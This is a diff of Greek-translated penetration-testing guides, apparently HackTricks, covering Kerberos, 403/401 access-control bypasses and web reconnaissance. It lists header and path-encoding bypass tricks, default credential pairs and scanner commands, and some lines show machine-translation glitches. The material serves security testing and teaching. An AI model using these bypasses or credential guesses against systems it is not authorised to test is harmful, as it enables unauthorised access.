+- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)

src/network-services-pentesting/pentesting-kerberos-88/README.md

@@ -6,16 +6,16 @@
 
 **Kerberos** λειτουργεί με μια αρχή όπου αυθεντικοποιεί τους χρήστες χωρίς να διαχειρίζεται άμεσα την πρόσβασή τους σε πόρους. Αυτή είναι μια σημαντική διάκριση γιατί υπογραμμίζει τον ρόλο του πρωτοκόλλου σε πλαίσια ασφάλειας.
 
-Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τα δικαιώματα που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, που είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας.
+Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τα δικαιώματα που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, ο οποίος είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας.
 
-Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση στους πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό των ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα.
+Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση στους πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα.
 
 **Default Port:** 88/tcp/udp
 ```
 PORT   STATE SERVICE
 88/tcp open  kerberos-sec
 ```
-### **Για να μάθετε πώς να εκμεταλλευτείτε το Kerberos, θα πρέπει να διαβάσετε την ανάρτηση σχετικά με** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
+### **Για να μάθετε πώς να εκμεταλλευτείτε το Kerberos, θα πρέπει να διαβάσετε την ανάρτηση σχετικά με** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
 
 ## Περισσότερα
 

src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

@@ -6,7 +6,7 @@
 
 Δοκιμάστε να χρησιμοποιήσετε **διαφορετικούς ρήματα** για να αποκτήσετε πρόσβαση στο αρχείο: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
 
-- Ελέγξτε τις κεφαλίδες απόκρισης, ίσως κάποιες πληροφορίες να μπορούν να δοθούν. Για παράδειγμα, μια **200 απόκριση** σε **HEAD** με `Content-Length: 55` σημαίνει ότι το **HEAD verb μπορεί να αποκτήσει πρόσβαση στις πληροφορίες**. Αλλά πρέπει ακόμα να βρείτε έναν τρόπο να εξάγετε αυτές τις πληροφορίες.
+- Ελέγξτε τις κεφαλίδες απόκρισης, ίσως κάποιες πληροφορίες να μπορούν να δοθούν. Για παράδειγμα, μια **200 απόκριση** σε **HEAD** με `Content-Length: 55` σημαίνει ότι το **HEAD verb μπορεί να έχει πρόσβαση στις πληροφορίες**. Αλλά πρέπει ακόμα να βρείτε έναν τρόπο να εξάγετε αυτές τις πληροφορίες.
 - Χρησιμοποιώντας μια HTTP κεφαλίδα όπως `X-HTTP-Method-Override: PUT` μπορεί να αντικαταστήσει το ρήμα που χρησιμοποιείται.
 - Χρησιμοποιήστε το **`TRACE`** ρήμα και αν είστε πολύ τυχεροί ίσως στην απόκριση να δείτε επίσης τις **κεφαλίδες που προστέθηκαν από ενδιάμεσους διακομιστές** που μπορεί να είναι χρήσιμες.
 
@@ -35,17 +35,17 @@
 - `X-Original-URL: /admin/console`
 - `X-Rewrite-URL: /admin/console`
 
-- Αν η σελίδα είναι **πίσω από έναν διακομιστή μεσολάβησης**, ίσως ο διακομιστής μεσολάβησης να είναι αυτός που σας εμποδίζει να αποκτήσετε πρόσβαση στις ιδιωτικές πληροφορίες. Δοκιμάστε να εκμεταλλευτείτε [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ή** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
+- Αν η σελίδα είναι **πίσω από έναν διακομιστή μεσολάβησης**, ίσως ο διακομιστής μεσολάβησης να είναι αυτός που σας εμποδίζει να αποκτήσετε πρόσβαση στις ιδιωτικές πληροφορίες. Δοκιμάστε να εκμεταλλευτείτε [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **ή** [**κεφαλίδες hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
 - Fuzz [**ειδικές HTTP κεφαλίδες**](special-http-headers.md) αναζητώντας διαφορετική απόκριση.
 - **Fuzz ειδικές HTTP κεφαλίδες** ενώ κάνετε fuzzing **HTTP Methods**.
 - **Αφαιρέστε την κεφαλίδα Host** και ίσως μπορέσετε να παρακάμψετε την προστασία.
 
 ## Path **Fuzzing**
 
-Αν το _/path_ είναι μπλοκαρισμένο:
+Αν _/path_ είναι μπλοκαρισμένο:
 
 - Δοκιμάστε να χρησιμοποιήσετε _**/**_**%2e/path \_(αν η πρόσβαση είναι μπλοκαρισμένη από έναν διακομιστή μεσολάβησης, αυτό θα μπορούσε να παρακάμψει την προστασία). Δοκιμάστε επίσης**\_\*\* /%252e\*\*/path (διπλή κωδικοποίηση URL)
-- Δοκιμάστε **Unicode bypass**: _/**%ef%bc%8f**path_ (Οι χαρακτήρες κωδικοποιημένοι URL είναι όπως το "/") έτσι όταν κωδικοποιηθούν ξανά θα είναι _//path_ και ίσως έχετε ήδη παρακάμψει τον έλεγχο ονόματος _/path_
+- Δοκιμάστε **Unicode bypass**: _/**%ef%bc%8f**path_ (Οι κωδικοποιημένοι χαρακτήρες URL είναι όπως το "/") έτσι όταν κωδικοποιηθούν ξανά θα είναι _//path_ και ίσως έχετε ήδη παρακάμψει τον έλεγχο ονόματος _/path_
 - **Άλλες παρακάμψεις μονοπατιών**:
 - site.com/secret –> HTTP 403 Forbidden
 - site.com/SECRET –> HTTP 200 OK
@@ -82,12 +82,12 @@
 
 ## **Protocol version**
 
-Αν χρησιμοποιείτε HTTP/1.1 **δοκιμάστε να χρησιμοποιήσετε 1.0** ή ακόμα και να ελέγξετε αν **υποστηρίζει 2.0**.
+Αν χρησιμοποιείτε HTTP/1.1 **δοκιμάστε να χρησιμοποιήσετε 1.0** ή ακόμα και να ελέγξετε αν υποστηρίζει **2.0**.
 
 ## **Other Bypasses**
 
 - Αποκτήστε το **IP** ή **CNAME** του τομέα και δοκιμάστε να **επικοινωνήσετε απευθείας**.
-- Δοκιμάστε να **πιέσετε τον διακομιστή** στέλνοντας κοινές GET αιτήσεις ([Λειτούργησε για αυτόν τον τύπο με το Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
+- Δοκιμάστε να **στρεσάρετε τον διακομιστή** στέλνοντας κοινές GET αιτήσεις ([Λειτούργησε για αυτόν τον τύπο με το Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
 - **Αλλάξτε το πρωτόκολλο**: από http σε https, ή για https σε http
 - Πηγαίνετε στο [**https://archive.org/web/**](https://archive.org/web/) και ελέγξτε αν στο παρελθόν αυτό το αρχείο ήταν **παγκοσμίως προσβάσιμο**.
 
@@ -105,7 +105,7 @@ root     toor
 test     test
 guest    guest
 ```
-## Αυτόματες Εργαλεία
+## Αυτόματα Εργαλεία
 
 - [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
 - [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)

src/network-services-pentesting/pentesting-web/README.md

@@ -17,36 +17,36 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Οδηγίες Web API
+### Web API Guidance
 
 {{#ref}}
 web-api-pentesting.md
 {{#endref}}
 
-## Περίληψη Μεθοδολογίας
+## Methodology summary
 
 > Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι θα επιτεθείτε σε ένα domain (ή subdomain) και μόνο σε αυτό. Έτσι, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με ακαθόριστο web server εντός του πεδίου εφαρμογής.
 
 - [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη σας κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία.
 - [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας;
 - [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες;
-- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξει (όπως το wpscan);
+- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξετε (όπως το wpscan);
 - [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες.
-- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **σφάλμα 404** και **σάρωση SSL/TLS** (αν είναι HTTPS).
-- [ ] Ξεκινήστε **spidering** τη σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**.
+- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** σφάλμα και **SSL/TLS σάρωση** (αν είναι HTTPS).
+- [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**.
 - [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει spidering._
-- [ ] **Brute-Forcing Φακέλων**: Προσπαθήστε να κάνετε brute force σε όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **φακέλους**.
+- [ ] **Directory Brute-Forcing**: Προσπαθήστε να κάνετε brute force σε όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **φακέλους**.
 - [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._
-- [ ] **Έλεγχος Αντιγράφων**: Δοκιμάστε αν μπορείτε να βρείτε **αντίγραφα** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις αντιγράφων.
+- [ ] **Έλεγχος αντιγράφων ασφαλείας**: Δοκιμάστε αν μπορείτε να βρείτε **αντίγραφα ασφαλείας** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις αντιγράφων ασφαλείας.
 - [ ] **Brute-Force παράμετροι**: Προσπαθήστε να **βρείτε κρυφές παραμέτρους**.
 - [ ] Μόλις έχετε **ταυτοποιήσει** όλα τα πιθανά **endpoints** που δέχονται **είσοδο χρήστη**, ελέγξτε για κάθε είδους **ευπάθειες** που σχετίζονται με αυτό.
 - [ ] [Ακολουθήστε αυτή τη λίστα ελέγχου](../../pentesting-web/web-vulnerabilities-methodology.md)
 
-## Έκδοση Server (Ευάλωτη;)
+## Server Version (Vulnerable?)
 
-### Ταυτοποίηση
+### Identify
 
-Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που τρέχει.\
+Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που είναι σε λειτουργία.\
 Οι **HTTP headers και τα cookies της απάντησης** θα μπορούσαν να είναι πολύ χρήσιμα για να **ταυτοποιήσετε** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Η **σάρωση Nmap** μπορεί να ταυτοποιήσει την έκδοση του server, αλλά θα μπορούσαν επίσης να είναι χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ή [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
@@ -54,24 +54,24 @@ whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Αναζητήστε **για** [**ευπάθειες της έκδοσης της διαδικτυακής εφαρμογής**](../../generic-hacking/search-exploits.md)
+Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
 
-### **Ελέγξτε αν υπάρχει WAF**
+### **Έλεγχος αν υπάρχει WAF**
 
 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
 
-### Τεχνάσματα διαδικτύου
+### Web tech tricks
 
-Ορισμένα **τεχνάσματα** για **να βρείτε ευπάθειες** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
+Ορισμένα **tricks** για **finding vulnerabilities** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
 - [**Artifactory**](artifactory-hacking-guide.md)
-- [**Buckets**](buckets/)
+- [**Buckets**](buckets/index.html)
 - [**CGI**](cgi.md)
-- [**Drupal**](drupal/)
+- [**Drupal**](drupal/index.html)
 - [**Flask**](flask.md)
 - [**Git**](git.md)
 - [**Golang**](golang.md)
@@ -86,39 +86,39 @@ webanalyze -host https://google.com -crawl 2
 - [**Laravel**](laravel.md)
 - [**Moodle**](moodle.md)
 - [**Nginx**](nginx.md)
-- [**PHP (το php έχει πολλά ενδιαφέροντα τρικ που θα μπορούσαν να εκμεταλλευτούν)**](php-tricks-esp/)
+- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
 - [**Python**](python.md)
 - [**Spring Actuators**](spring-actuators.md)
 - [**Symphony**](symphony.md)
-- [**Tomcat**](tomcat/)
+- [**Tomcat**](tomcat/index.html)
 - [**VMWare**](vmware-esx-vcenter....md)
 - [**Web API Pentesting**](web-api-pentesting.md)
 - [**WebDav**](put-method-webdav.md)
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
-- [**Electron Desktop (XSS σε RCE)**](electron-desktop-apps/)
+- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
 
 _Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **subdomains**._\
-Εάν η διαδικτυακή εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **τεχνολογία/πλατφόρμα που αναφέρεται παραπάνω** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **αναζητήσετε στο Διαδίκτυο** νέες τεχνικές (και ενημερώστε με!).
+Αν η web εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **tech/platform που αναφέρθηκε προηγουμένως** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **search on the Internet** νέες tricks (και ενημερώστε με!).
 
-### Ανασκόπηση Πηγαίου Κώδικα
+### Source Code Review
 
-Εάν ο **πηγαίος κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση ενός **White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
+Αν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **τον εαυτό σας ενός White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
 
-- Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **πληροφορίες έκδοσης προσβάσιμες** μέσω διαδικτύου;
-- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (ονόματα χρηστών ή κωδικούς πρόσβασης);
-- Είναι οι **κωδικοί πρόσβασης** σε **καθαρό κείμενο**, **κρυπτογραφημένοι** ή ποιος **αλγόριθμος κατακερματισμού** χρησιμοποιείται;
-- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου πράγματος; Ποιος **αλγόριθμος** χρησιμοποιείται;
-- Μπορείτε να **πρόσβαση σε οποιοδήποτε από αυτά τα αρχεία** εκμεταλλευόμενοι κάποια ευπάθεια;
-- Υπάρχει κάποια **ενδιαφέρουσα πληροφορία στο github** (λυμένα και μη λυμένα) **ζητήματα**; Ή στην **ιστορία commit** (ίσως κάποιο **password που εισήχθη σε ένα παλιό commit**) ;
+- Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **version info accessible** μέσω web;
+- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (ονόματα χρηστών ή κωδικούς);
+- Είναι οι **κωδικοί** σε **plain text**, **encrypted** ή ποιο **hashing algorithm** χρησιμοποιείται;
+- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου πράγματος; Ποιο **algorithm** χρησιμοποιείται;
+- Μπορείτε να **access any of these files** εκμεταλλευόμενοι κάποια ευπάθεια;
+- Υπάρχει κάποια **ενδιαφέρουσα πληροφορία στο github** (λυμένα και μη λυμένα) **issues**; Ή στην **commit history** (ίσως κάποιο **password introduced inside an old commit**) ;
 
 {{#ref}}
 code-review-tools.md
 {{#endref}}
 
-### Αυτόματοι σαρωτές
+### Automatic scanners
 
-#### Αυτόματοι σαρωτές γενικής χρήσης
+#### Γενικής χρήσης αυτόματοι σαρωτές
 ```bash
 nikto -h <URL>
 whatweb -a 4 <URL>
@@ -134,18 +134,18 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 
 Αν χρησιμοποιείται ένα CMS, μην ξεχάσετε να **τρέξετε έναν σαρωτή**, ίσως βρείτε κάτι ενδιαφέρον:
 
-[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** ιστοσελίδες για θέματα Ασφαλείας. (GUI)\
-[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
-**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **ή** [**(M)oodle**](moodle.md)\
-[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
+[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ιστοσελίδες για θέματα Ασφαλείας. (GUI)\
+[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ή** [**(M)oodle**](moodle.md)\
+[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 ```bash
 cmsmap [-f W] -F -d <URL>
 wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> Σε αυτό το σημείο θα πρέπει ήδη να έχετε κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο πελάτης (αν έχουν δοθεί δεδομένα) και μερικά κόλπα που πρέπει να έχετε κατά νου κατά τη διάρκεια της δοκιμής. Αν είστε τυχεροί, μπορεί να έχετε βρει ακόμη και ένα CMS και να έχετε τρέξει κάποιο scanner.
+> Σε αυτό το σημείο θα πρέπει ήδη να έχετε κάποιες πληροφορίες σχετικά με τον web server που χρησιμοποιεί ο πελάτης (αν έχουν δοθεί δεδομένα) και μερικά κόλπα που πρέπει να έχετε κατά νου κατά τη διάρκεια της δοκιμής. Αν είστε τυχεροί, μπορεί να έχετε βρει ακόμη και ένα CMS και να έχετε τρέξει κάποιο scanner.
 
 ## Βήμα-βήμα Ανακάλυψη Εφαρμογής Ιστού
 
@@ -178,7 +178,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 - **Brute Force** διαπιστευτήρια
 - **Ανεβάστε αρχεία** μέσω WebDav στους **υπόλοιπους** **βρεθέντες φακέλους** μέσα στην ιστοσελίδα. Μπορεί να έχετε άδειες να ανεβάσετε αρχεία σε άλλους φακέλους.
 
-### **SSL/TLS ευπάθειες**
+### **Ευπάθειες SSL/TLS**
 
 - Αν η εφαρμογή **δεν αναγκάζει τον χρήστη να χρησιμοποιεί HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM**
 - Αν η εφαρμογή **αποστέλλει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε είναι μια υψηλή ευπάθεια.
@@ -199,32 +199,32 @@ sslyze --regular <ip:port>
 
 ### Spidering
 
-Εκκινήστε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρείτε όσο το δυνατόν περισσότερους έγκυρους δρόμους.
+Εκκινήστε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρουν όσο το δυνατόν περισσότερους έγκυρους δρόμους.
 
 - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε αρχεία JS και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
 - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFinder για αρχεία JS και Archive.org ως εξωτερική πηγή.
 - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, υποδεικνύει επίσης "juicy files".
 - [**evine** ](https://github.com/saeeddhqan/evine)(go): Διαδραστικός CLI HTML spider. Αναζητά επίσης στο Archive.org.
 - [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Μπορείτε απλώς να υποδείξετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα ανακτήσει κάθε path σε κάθε host και θα αποθηκεύσει την απάντηση.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες απόδοσης JS. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν συντάσσεται.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες rendering JS. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν συντάσσεται.
 - [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl).
 - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τα καταγράψει.
-- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες απόδοσης JS.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες beautify JS ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα άξιζε επίσης να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο από HTML πηγή όσο και από ενσωματωμένα αρχεία javascript. Χρήσιμο για κυνηγούς σφαλμάτων, red teamers, infosec ninjas.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα script python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές URLs από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη AJAX αιτημάτων. Φαίνεται ότι δεν συντηρείται.
+- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες rendering JS.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες beautify JS ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα ήταν επίσης χρήσιμο να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο από HTML πηγή όσο και από ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα script python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές URLs από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη AJAX requests. Φαίνεται ότι δεν συντηρείται.
 - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνη κανονική έκφραση για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία.
 - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, διάφορα εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία.
